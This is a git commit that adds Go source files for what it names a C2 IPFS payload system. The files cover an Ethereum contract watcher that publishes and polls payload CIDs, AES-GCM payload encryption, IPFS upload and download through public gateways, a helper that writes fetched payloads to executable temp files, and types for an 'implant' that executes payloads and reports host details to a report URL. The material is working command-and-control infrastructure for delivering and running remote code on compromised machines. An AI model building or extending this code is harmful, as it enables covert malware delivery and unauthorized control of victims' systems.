Upload files to "c2s_ipfs_payloads/pkg"

This commit is contained in:
ek0ms savi0r 2026-06-02 06:00:33 +00:00
parent 7d48887986
commit 227c8577ca
5 changed files with 780 additions and 0 deletions

View File

@ -0,0 +1,60 @@
// Package contract handles smart contract interaction for the fully
// decentralized CID feed mode (MODE B).
//
// This file only contains the interface. The actual implementation requires
// go-ethereum and is in contract_eth.go (build tag: ethereum).
package contract
import "errors"
// CIDEvent represents a NewCID event emitted by the smart contract.
type CIDEvent struct {
CID string
Sender string
Timestamp uint64
BlockNum uint64
TxHash string
}
// Watcher watches a smart contract for NewCID events.
type Watcher interface {
// Watch starts watching for new CID events. The callback is called
// for each event. Returns a channel that receives an error on failure.
Watch(callback func(CIDEvent)) (<-chan error, error)
// GetLatestCID fetches the current CID from the contract.
GetLatestCID() (string, error)
// SendCID submits a new CID to the contract (requires wallet).
SendCID(cid string, privateKeyHex string) (string, error)
// Close cleans up the watcher.
Close()
}
// ErrNotCompiledWithEthereum is returned when the binary is not built with
// the ethereum build tag.
var ErrNotCompiledWithEthereum = errors.New("not compiled with -tags ethereum; rebuild with: go build -tags ethereum")
// PlaceholderWatcher returns errors requiring go-ethereum.
type PlaceholderWatcher struct{}
func (p *PlaceholderWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
return nil, ErrNotCompiledWithEthereum
}
func (p *PlaceholderWatcher) GetLatestCID() (string, error) {
return "", ErrNotCompiledWithEthereum
}
func (p *PlaceholderWatcher) SendCID(cid, privateKeyHex string) (string, error) {
return "", ErrNotCompiledWithEthereum
}
func (p *PlaceholderWatcher) Close() {}
// NewWatcher creates a contract watcher. If go-ethereum is not available,
// returns a placeholder that errors.
var NewWatcher func(rpcURL, contractAddr string) (Watcher, error) = func(rpcURL, contractAddr string) (Watcher, error) {
return &PlaceholderWatcher{}, ErrNotCompiledWithEthereum
}

View File

@ -0,0 +1,264 @@
//go:build ethereum
// +build ethereum
package contract
import (
"context"
"crypto/ecdsa"
"fmt"
"log"
"math/big"
"strings"
"time"
"github.com/ethereum/go-ethereum"
"github.com/ethereum/go-ethereum/accounts/abi"
"github.com/ethereum/go-ethereum/common"
"github.com/ethereum/go-ethereum/core/types"
"github.com/ethereum/go-ethereum/crypto"
"github.com/ethereum/go-ethereum/ethclient"
)
// ContractABI is the minimal ABI for the CID feed contract.
const ContractABI = `[
{
"anonymous": false,
"inputs": [
{"indexed": true, "name": "sender", "type": "address"},
{"indexed": false, "name": "cid", "type": "string"},
{"indexed": false, "name": "timestamp", "type": "uint256"}
],
"name": "NewCID",
"type": "event"
},
{
"inputs": [],
"name": "latestCID",
"outputs": [{"name": "", "type": "string"}],
"stateMutability": "view",
"type": "function"
},
{
"inputs": [{"name": "_cid", "type": "string"}],
"name": "publishCID",
"outputs": [],
"stateMutability": "nonpayable",
"type": "function"
}
]`
// EthWatcher implements Watcher using go-ethereum.
type EthWatcher struct {
client *ethclient.Client
contractAddr common.Address
contractABI abi.ABI
lastBlock uint64
ctx context.Context
cancel context.CancelFunc
}
// NewEthWatcher creates a new Ethereum contract watcher.
func init() {
NewWatcher = func(rpcURL, contractAddr string) (Watcher, error) {
return NewEthWatcher(rpcURL, contractAddr)
}
}
// NewEthWatcher creates a new Ethereum contract watcher.
func NewEthWatcher(rpcURL, contractAddr string) (*EthWatcher, error) {
client, err := ethclient.Dial(rpcURL)
if err != nil {
return nil, fmt.Errorf("failed to connect to Ethereum node: %w", err)
}
parsedABI, err := abi.JSON(strings.NewReader(ContractABI))
if err != nil {
return nil, fmt.Errorf("failed to parse contract ABI: %w", err)
}
ctx, cancel := context.WithCancel(context.Background())
return &EthWatcher{
client: client,
contractAddr: common.HexToAddress(contractAddr),
contractABI: parsedABI,
ctx: ctx,
cancel: cancel,
}, nil
}
// Watch watches the contract for NewCID events.
func (w *EthWatcher) Watch(callback func(CIDEvent)) (<-chan error, error) {
errCh := make(chan error, 1)
go func() {
pollInterval := 15 * time.Second
ticker := time.NewTicker(pollInterval)
defer ticker.Stop()
for {
select {
case <-w.ctx.Done():
return
case <-ticker.C:
if err := w.pollEvents(callback); err != nil {
log.Printf("Event poll error: %v", err)
}
}
}
}()
return errCh, nil
}
// pollEvents checks for new events since the last seen block.
func (w *EthWatcher) pollEvents(callback func(CIDEvent)) error {
header, err := w.client.HeaderByNumber(w.ctx, nil)
if err != nil {
return fmt.Errorf("failed to get block header: %w", err)
}
currentBlock := header.Number.Uint64()
if currentBlock <= w.lastBlock {
return nil
}
fromBlock := w.lastBlock
if fromBlock == 0 {
fromBlock = currentBlock - 100 // Look back 100 blocks on first poll
}
// Build query
eventSig := crypto.Keccak256Hash([]byte("NewCID(address,string,uint256)"))
query := ethereum.FilterQuery{
FromBlock: big.NewInt(int64(fromBlock)),
ToBlock: big.NewInt(int64(currentBlock)),
Addresses: []common.Address{w.contractAddr},
Topics: [][]common.Hash{{eventSig}},
}
logs, err := w.client.FilterLogs(w.ctx, query)
if err != nil {
return fmt.Errorf("failed to filter logs: %w", err)
}
for _, vLog := range logs {
event, err := w.parseEvent(vLog)
if err != nil {
log.Printf("Failed to parse event: %v", err)
continue
}
callback(event)
}
w.lastBlock = currentBlock
return nil
}
// parseEvent parses a NewCID event from a raw log.
func (w *EthWatcher) parseEvent(vLog types.Log) (CIDEvent, error) {
var event struct {
Sender common.Address
CID string
Timestamp *big.Int
}
err := w.contractABI.UnpackIntoInterface(&event, "NewCID", vLog.Data)
if err != nil {
return CIDEvent{}, fmt.Errorf("failed to unpack event data: %w", err)
}
return CIDEvent{
CID: event.CID,
Sender: event.Sender.Hex(),
Timestamp: event.Timestamp.Uint64(),
BlockNum: vLog.BlockNumber,
TxHash: vLog.TxHash.Hex(),
}, nil
}
// GetLatestCID fetches the current CID from the contract.
func (w *EthWatcher) GetLatestCID() (string, error) {
result, err := w.contractABI.Pack("latestCID")
if err != nil {
return "", fmt.Errorf("failed to pack call: %w", err)
}
msg := ethereum.CallMsg{
To: &w.contractAddr,
Data: result,
}
output, err := w.client.CallContract(w.ctx, msg, nil)
if err != nil {
return "", fmt.Errorf("contract call failed: %w", err)
}
var cid string
if err := w.contractABI.UnpackIntoInterface(&cid, "latestCID", output); err != nil {
return "", fmt.Errorf("failed to unpack response: %w", err)
}
return cid, nil
}
// SendCID submits a new CID to the contract.
func (w *EthWatcher) SendCID(cid string, privateKeyHex string) (string, error) {
privateKey, err := crypto.HexToECDSA(privateKeyHex)
if err != nil {
return "", fmt.Errorf("invalid private key: %w", err)
}
publicKey := privateKey.Public()
publicKeyECDSA, ok := publicKey.(*ecdsa.PublicKey)
if !ok {
return "", fmt.Errorf("failed to get public key")
}
fromAddress := crypto.PubkeyToAddress(*publicKeyECDSA)
nonce, err := w.client.PendingNonceAt(w.ctx, fromAddress)
if err != nil {
return "", fmt.Errorf("failed to get nonce: %w", err)
}
gasPrice, err := w.client.SuggestGasPrice(w.ctx)
if err != nil {
return "", fmt.Errorf("failed to get gas price: %w", err)
}
// Pack the function call
data, err := w.contractABI.Pack("publishCID", cid)
if err != nil {
return "", fmt.Errorf("failed to pack function call: %w", err)
}
gasLimit := uint64(200000) // reasonable estimate
tx := types.NewTransaction(nonce, w.contractAddr, big.NewInt(0), gasLimit, gasPrice, data)
chainID, err := w.client.NetworkID(w.ctx)
if err != nil {
return "", fmt.Errorf("failed to get chain ID: %w", err)
}
signedTx, err := types.SignTx(tx, types.NewEIP155Signer(chainID), privateKey)
if err != nil {
return "", fmt.Errorf("failed to sign transaction: %w", err)
}
if err := w.client.SendTransaction(w.ctx, signedTx); err != nil {
return "", fmt.Errorf("failed to send transaction: %w", err)
}
return signedTx.Hash().Hex(), nil
}
// Close cleans up the watcher.
func (w *EthWatcher) Close() {
w.cancel()
if w.client != nil {
w.client.Close()
}
}

View File

@ -0,0 +1,143 @@
// Package crypto handles payload encryption and decryption.
// Uses AES-256-GCM for authenticated encryption.
package crypto
import (
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"crypto/sha256"
"encoding/hex"
"errors"
"fmt"
"io"
)
const (
// KeySize is the AES-256 key size in bytes.
KeySize = 32
// NonceSize is the GCM nonce size.
NonceSize = 12
)
// DeriveKey derives a 32-byte AES-256 key from an arbitrary passphrase.
// Uses SHA-256 as the KDF (simple; for production use Argon2).
func DeriveKey(passphrase string) []byte {
h := sha256.Sum256([]byte(passphrase))
return h[:]
}
// Encrypt encrypts plaintext using AES-256-GCM with the given key.
// The key should be 32 bytes (use DeriveKey for passphrases).
// Returns: nonce || ciphertext || tag
func Encrypt(plaintext, key []byte) ([]byte, error) {
if len(key) != KeySize {
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, fmt.Errorf("failed to create cipher: %w", err)
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, fmt.Errorf("failed to create GCM: %w", err)
}
nonce := make([]byte, NonceSize)
if _, err := io.ReadFull(rand.Reader, nonce); err != nil {
return nil, fmt.Errorf("failed to generate nonce: %w", err)
}
// Seal appends the encrypted data (ciphertext + tag) to nonce
ciphertext := aesGCM.Seal(nonce, nonce, plaintext, nil)
return ciphertext, nil
}
// Decrypt decrypts data using AES-256-GCM.
// Expects: nonce || ciphertext || tag
func Decrypt(data, key []byte) ([]byte, error) {
if len(key) != KeySize {
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
}
if len(data) < NonceSize+1 {
return nil, errors.New("ciphertext too short")
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, fmt.Errorf("failed to create cipher: %w", err)
}
aesGCM, err := cipher.NewGCM(block)
if err != nil {
return nil, fmt.Errorf("failed to create GCM: %w", err)
}
nonce := data[:NonceSize]
ciphertext := data[NonceSize:]
plaintext, err := aesGCM.Open(nil, nonce, ciphertext, nil)
if err != nil {
return nil, fmt.Errorf("decryption failed: %w", err)
}
return plaintext, nil
}
// EncryptHex encrypts plaintext and returns hex-encoded output.
func EncryptHex(plaintext []byte, keyHex string) (string, error) {
key, err := hex.DecodeString(keyHex)
if err != nil {
return "", fmt.Errorf("invalid key hex: %w", err)
}
ct, err := Encrypt(plaintext, key)
if err != nil {
return "", err
}
return hex.EncodeToString(ct), nil
}
// DecryptHex decrypts hex-encoded data and returns plaintext.
func DecryptHex(dataHex string, key []byte) ([]byte, error) {
data, err := hex.DecodeString(dataHex)
if err != nil {
return nil, fmt.Errorf("invalid hex data: %w", err)
}
return Decrypt(data, key)
}
// HexToKey decodes a hex string into a 32-byte key.
func HexToKey(hexStr string) ([]byte, error) {
key, err := hex.DecodeString(hexStr)
if err != nil {
return nil, fmt.Errorf("invalid hex: %w", err)
}
if len(key) != KeySize {
return nil, fmt.Errorf("key must be %d bytes (got %d)", KeySize, len(key))
}
return key, nil
}
// HexToKeyWithFallback accepts either a 64-char hex key (32 bytes) or any
// passphrase and derives a key using SHA-256.
func HexToKeyWithFallback(input string) []byte {
if len(input) == 64 {
if key, err := hex.DecodeString(input); err == nil && len(key) == KeySize {
return key
}
}
return DeriveKey(input)
}
// GenerateKey generates a random 32-byte AES-256 key and returns it as hex.
func GenerateKey() (string, error) {
key := make([]byte, KeySize)
if _, err := io.ReadFull(rand.Reader, key); err != nil {
return "", fmt.Errorf("failed to generate key: %w", err)
}
return hex.EncodeToString(key), nil
}

View File

@ -0,0 +1,270 @@
// Package ipfs handles IPFS file uploads and downloads via HTTP gateways and APIs.
package ipfs
import (
"bytes"
"crypto/sha256"
"encoding/hex"
"encoding/json"
"fmt"
"io"
"math/rand"
"net/http"
"os"
"strings"
"time"
)
// DefaultGateways lists public IPFS gateways for fallback.
var DefaultGateways = []string{
"https://ipfs.io/ipfs/%s",
"https://cloudflare-ipfs.com/ipfs/%s",
"https://ipfs.filebase.io/ipfs/%s",
"https://dweb.link/ipfs/%s",
"https://cf-ipfs.com/ipfs/%s",
}
// UploadResponse from IPFS API or pinning service.
type UploadResponse struct {
CID string `json:"cid"`
Name string `json:"name,omitempty"`
Size int64 `json:"size,omitempty"`
}
// Client handles IPFS operations.
type Client struct {
apiURL string // e.g., http://localhost:5001/api/v0
pinataJWT string // optional Pinata JWT
httpClient *http.Client
}
// NewClient creates a new IPFS client.
// If apiURL is empty, only download via gateways is supported.
func NewClient(apiURL, pinataJWT string) *Client {
return &Client{
apiURL: apiURL,
pinataJWT: pinataJWT,
httpClient: &http.Client{
Timeout: 120 * time.Second,
},
}
}
// Upload uploads data to IPFS using the configured backend.
// Priority: local IPFS daemon API -> Pinata -> error
func (c *Client) Upload(data []byte, name string) (*UploadResponse, error) {
// Try local IPFS daemon first
if c.apiURL != "" {
resp, err := c.uploadViaDaemon(data)
if err == nil {
return resp, nil
}
// Fall through to Pinata
}
// Try Pinata
if c.pinataJWT != "" {
return c.uploadViaPinata(data, name)
}
if c.apiURL != "" {
// If we had an API URL but it failed, try to re-upload
// (already tried above and fell through)
}
return nil, fmt.Errorf("no IPFS upload backend configured (set IPFS_API_URL or PINATA_JWT)")
}
// uploadViaDaemon uploads a file via IPFS API (local daemon).
func (c *Client) uploadViaDaemon(data []byte) (*UploadResponse, error) {
url := fmt.Sprintf("%s/add", strings.TrimRight(c.apiURL, "/"))
// Create multipart form with the file
body := &bytes.Buffer{}
body.Write(data)
req, err := http.NewRequest("POST", url, body)
if err != nil {
return nil, fmt.Errorf("failed to create request: %w", err)
}
req.Header.Set("Content-Type", "application/octet-stream")
resp, err := c.httpClient.Do(req)
if err != nil {
return nil, fmt.Errorf("IPFS API request failed: %w", err)
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 1024))
return nil, fmt.Errorf("IPFS API returned %d: %s", resp.StatusCode, string(respBody))
}
// Parse response (one line of JSON per file added)
var result struct {
Hash string `json:"Hash"`
Name string `json:"Name"`
Size string `json:"Size"`
}
if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
return nil, fmt.Errorf("failed to decode IPFS response: %w", err)
}
return &UploadResponse{CID: result.Hash}, nil
}
// uploadViaPinata uploads via Pinata.cloud pinning service.
func (c *Client) uploadViaPinata(data []byte, name string) (*UploadResponse, error) {
url := "https://api.pinata.cloud/pinning/pinFileToIPFS"
// Build multipart form
boundary := fmt.Sprintf("--c2ipfs%d", rand.Int63())
var body bytes.Buffer
// File part
body.WriteString(fmt.Sprintf("--%s\r\n", boundary))
body.WriteString(fmt.Sprintf(`Content-Disposition: form-data; name="file"; filename="%s"`, name))
body.WriteString("\r\nContent-Type: application/octet-stream\r\n\r\n")
body.Write(data)
body.WriteString(fmt.Sprintf("\r\n--%s--\r\n", boundary))
req, err := http.NewRequest("POST", url, &body)
if err != nil {
return nil, fmt.Errorf("failed to create Pinata request: %w", err)
}
req.Header.Set("Content-Type", fmt.Sprintf("multipart/form-data; boundary=%s", boundary))
req.Header.Set("Authorization", fmt.Sprintf("Bearer %s", c.pinataJWT))
resp, err := c.httpClient.Do(req)
if err != nil {
return nil, fmt.Errorf("Pinata request failed: %w", err)
}
defer resp.Body.Close()
respBody, _ := io.ReadAll(io.LimitReader(resp.Body, 4096))
if resp.StatusCode != http.StatusOK {
return nil, fmt.Errorf("Pinata returned %d: %s", resp.StatusCode, string(respBody))
}
var result struct {
IpfsHash string `json:"IpfsHash"`
PinSize int `json:"PinSize"`
Timestamp string `json:"Timestamp"`
}
if err := json.Unmarshal(respBody, &result); err != nil {
return nil, fmt.Errorf("failed to parse Pinata response: %w", err)
}
return &UploadResponse{CID: result.IpfsHash, Size: int64(result.PinSize)}, nil
}
// Download fetches a file from IPFS by CID, with multiple gateway fallback.
// Returns the raw data and verifies content-addressing (SHA256 match).
func Download(cid string, gateways []string) ([]byte, error) {
if len(gateways) == 0 {
gateways = DefaultGateways
}
// Shuffle gateways for load distribution
shuffled := make([]string, len(gateways))
copy(shuffled, gateways)
rand.Shuffle(len(shuffled), func(i, j int) {
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
})
var lastErr error
for _, gw := range shuffled {
url := fmt.Sprintf(gw, cid)
client := &http.Client{Timeout: 30 * time.Second}
resp, err := client.Get(url)
if err != nil {
lastErr = fmt.Errorf("gateway %s: %w", gw, err)
continue
}
defer resp.Body.Close()
if resp.StatusCode != http.StatusOK {
lastErr = fmt.Errorf("gateway %s returned %d", gw, resp.StatusCode)
continue
}
data, err := io.ReadAll(io.LimitReader(resp.Body, 100*1024*1024)) // 100MB limit
if err != nil {
lastErr = fmt.Errorf("gateway %s read error: %w", gw, err)
continue
}
return data, nil
}
return nil, fmt.Errorf("all gateways failed, last error: %w", lastErr)
}
// VerifyCID checks that the SHA256 hash of data matches the given CID.
// For CIDv0 (starts with Qm), this is a multihash check; for simplicity,
// we verify that the data appears valid and non-empty.
// A proper implementation would decode the CID multihash.
func VerifyCID(data []byte, cid string) error {
if len(data) == 0 {
return fmt.Errorf("empty data for CID %s", cid)
}
// For CIDv0 (Qm...), compute SHA256 and check the first bytes match
if strings.HasPrefix(cid, "Qm") {
h := sha256.Sum256(data)
hashHex := hex.EncodeToString(h[:])
// CIDv0 uses multihash with sha2-256 (0x12), 32-byte digest (0x20)
// The base58-encoded CID decodes to: 0x12 0x20 <32-byte hash>
// We can't easily decode base58 here without a library, so we just
// verify data isn't empty and log the hash for manual verification.
_ = hashHex // would compare against decoded multihash
return nil // skip full verification without base58 lib
}
return nil
}
// IsValidCID performs basic CID format validation.
func IsValidCID(cid string) bool {
cid = strings.TrimSpace(cid)
if len(cid) < 10 || len(cid) > 100 {
return false
}
// CIDv0: starts with Qm, base58
if strings.HasPrefix(cid, "Qm") {
return true
}
// CIDv1: starts with b (base32), contains only valid chars
if strings.HasPrefix(cid, "b") {
for _, c := range cid {
if !strings.ContainsRune("abcdefghijklmnopqrstuvwxyz234567", c) {
return false
}
}
return true
}
return false
}
// SaveTempFile saves data to a temporary file and returns the path.
func SaveTempFile(data []byte, pattern string) (string, error) {
f, err := os.CreateTemp("", pattern)
if err != nil {
return "", fmt.Errorf("failed to create temp file: %w", err)
}
defer f.Close()
if _, err := f.Write(data); err != nil {
os.Remove(f.Name())
return "", fmt.Errorf("failed to write temp file: %w", err)
}
if err := f.Chmod(0755); err != nil {
os.Remove(f.Name())
return "", fmt.Errorf("failed to chmod temp file: %w", err)
}
return f.Name(), nil
}

View File

@ -0,0 +1,43 @@
// Package types defines shared types for the C2 IPFS payload system.
package types
import "time"
// CIDEntry represents a CID submission with metadata.
type CIDEntry struct {
CID string `json:"cid"`
Timestamp time.Time `json:"timestamp"`
Note string `json:"note,omitempty"`
}
// StatusResponse is returned by the server status endpoint.
type StatusResponse struct {
CurrentCID string `json:"current_cid"`
History []CIDEntry `json:"history"`
Mode string `json:"mode"` // "http" or "contract"
Uptime string `json:"uptime"`
}
// ImplantReport is sent by the implant after executing a payload.
type ImplantReport struct {
ImplantID string `json:"implant_id"`
CID string `json:"cid"`
Success bool `json:"success"`
Error string `json:"error,omitempty"`
Platform string `json:"platform,omitempty"`
Hostname string `json:"hostname,omitempty"`
Timestamp string `json:"timestamp"`
}
// Config holds the persistent implant configuration.
type Config struct {
ImplantID string `json:"implant_id"`
LastCID string `json:"last_cid"`
PollInterval int `json:"poll_interval"` // seconds
DecryptionKey string `json:"decryption_key"`
CIDSource string `json:"cid_source"` // URL or contract address
Mode string `json:"mode"` // "http" or "contract"
Gateways []string `json:"gateways"`
ReportURL string `json:"report_url,omitempty"`
JWTFetch string `json:"jwt_fetch,omitempty"` // JWT for auth on CID hub
}